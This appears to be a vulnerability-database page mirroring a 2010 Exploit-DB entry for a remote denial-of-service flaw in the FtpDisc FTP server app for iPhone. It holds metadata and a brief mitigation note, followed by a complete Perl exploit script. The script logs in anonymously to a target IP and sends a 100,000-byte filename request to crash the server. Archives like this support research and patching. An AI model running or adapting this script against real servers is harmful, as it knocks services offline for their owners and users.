FtpDisc for Iphone - Remote DOS Exploit

vendor:

FtpDisc for Iphone

by:

Ale46

7,5

CVSS

HIGH

Remote Denial of Service (DoS)

400

CWE

Product Name: FtpDisc for Iphone

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: YES

Related CWE: N/A

CPE: a:mochasoft:ftpdisc_for_iphone

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2010

FtpDisc for Iphone – Remote DOS Exploit

A Remote Denial of Service (DoS) vulnerability exists in FtpDisc for Iphone and FtpDisc Lite due to improper handling of large data. An attacker can exploit this vulnerability by sending a large amount of data to the FTP server, resulting in a crash.

Mitigation:

Upgrade to the latest version of FtpDisc for Iphone and FtpDisc Lite.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#Title: FtpDisc for Iphone - Remote DOS Exploit
#Date: 23/02/2010
#Author: Ale46 - ale46[at]paranoici[dot]org
#Software Link: http://mochasoft.dk/iphone_ftp.htm
#Version: 1.0
#Note: FtpDisc Lite has the same vuln
#Greetz: Gandalf


use Net::FTP;

if(@ARGV<1){
	print "[-]\t Error: ./ftpdisc <ftp_server_ip>\n";
	exit();
}

my $ftp;
my $host = $ARGV[0];
my $stuff;

for ($i=0;$i<100000;$i++){
	$stuff .="A";
}


$ftp = Net::FTP->new($host, Timeout=>24, Debug => 0)
or die "Error: $@";
print "\n[-]\t Logging to FTP\n\n";
sleep(2);
$ftp->login('anonymous','test@test.net')
or die "Error: ", $ftp->message;
print "[-]\t Sending Eval Command\n\n";
sleep(2);
$ftp->get($stuff);
$ftp->quit;
print "[-]\t Uh.. A crash..\n";